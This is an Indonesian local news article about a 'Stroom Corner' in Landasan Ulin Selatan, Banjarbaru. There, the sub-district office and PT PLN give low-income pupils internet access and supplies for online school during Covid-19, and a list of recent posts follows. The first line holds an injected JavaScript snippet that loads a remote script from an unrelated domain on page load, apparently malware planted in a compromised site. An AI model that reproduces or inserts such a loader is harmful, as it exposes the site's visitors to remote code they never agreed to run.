(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pendidikan

Stroom Corner, Solusi Pelajar Belajar Daring di Landasan Ulin Selatan


KANALKALIMANTAN.COM, BANJARBARU – Sampai saat ini Kota Banjarbaru masih memberlakukan pembelajaran jarak jauh (PJJ) dalam jaringan (Daring) alias online, mencegah penyebaran Covid-19 di lingkungan fasilitas pendidikan.

Kendati demikian, permasalahan yang muncul akibat pembelajaran jarak jauh ini belum sepenuhnya teratasi.

Salah satu persoalan ialah tak semua murid memiliki gadget  memadai, sehingga kegiatan belajar mengajar melalui daring pun terkendala. Seperti halnya SDN 1 Landasan Ulin Selatan (LUS), Banjarbaru.

Untuk mengatasi persoalan ini, Kelurahan Landasan Ulin Selatan dan PT PLN UIKL (Unit Induk Pembangkitan dan Penyaluran) Kalimantan, berkerjasama memfasilitasi para siswa lewat pengoperasional student room corner atau disebut stroom corner.

PT PLN UIKL (Unit Induk Pembangkitan dan Penyaluran) Kalimantan, berkerjasama memfasilitasi para siswa lewat pengoperasional student room corner. foto: rico

Senior Manager PLN UIKL Kalimantan Riki Cahya Adrian mengatakan, stroom corner dapat dikatakan sebagai tempat transit atau penghubung antar guru dan siswa saat melakukan pembelajaran online. Sehingga memudahkan siswa yang tak memiliki fasilitas teknologi untuk mengikuti proses belajar melalui online.

Teknisnya, materi pelajaran atau tugas yang diberikan oleh guru, dikirim online ke stroom corner. Selanjutnya, siswa dapat mendatangi ruang stroom corner yang berada di Kantor Kelurahan Landasan Ulin Selatan, untuk mengetahui apa saja materi atau tugas yang telah diberikan oleh para guru mereka.

“Sehingga, di Stroom Corner ini, siswa bisa mengakses internet dan mengerjakan tugasnya dari sini,” ujar Riki, Sabtu (29/8/2020) siang.

Sementara itu, Lurah Landasan Ulin Selatan Adi Royan menyebut sedikitnya ada 38 siswa SD di wilayahnya yang tidak memiliki gadget atau teknologi untuk belajar di rumah. Mereka kebanyakan datang dari keluarga dengan tingkat ekonomi rendah.

“Stroom Corner juga memfasilitasi siswa tidak mampu, baik itu alat tulis kantor (ATK) dan keperluan lainnya seperti komputer, printer, wifi dan lain sebagainya. Beroperasionalnya stroom corner sama sekali tidak menggunakan APBD. Semuanya murni dari kerjasama program sedekah 2000 dan PT PLN,” tegasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

Al Ghifari

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

2 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

3 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

3 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

5 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

5 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

9 jam ago

This website uses cookies.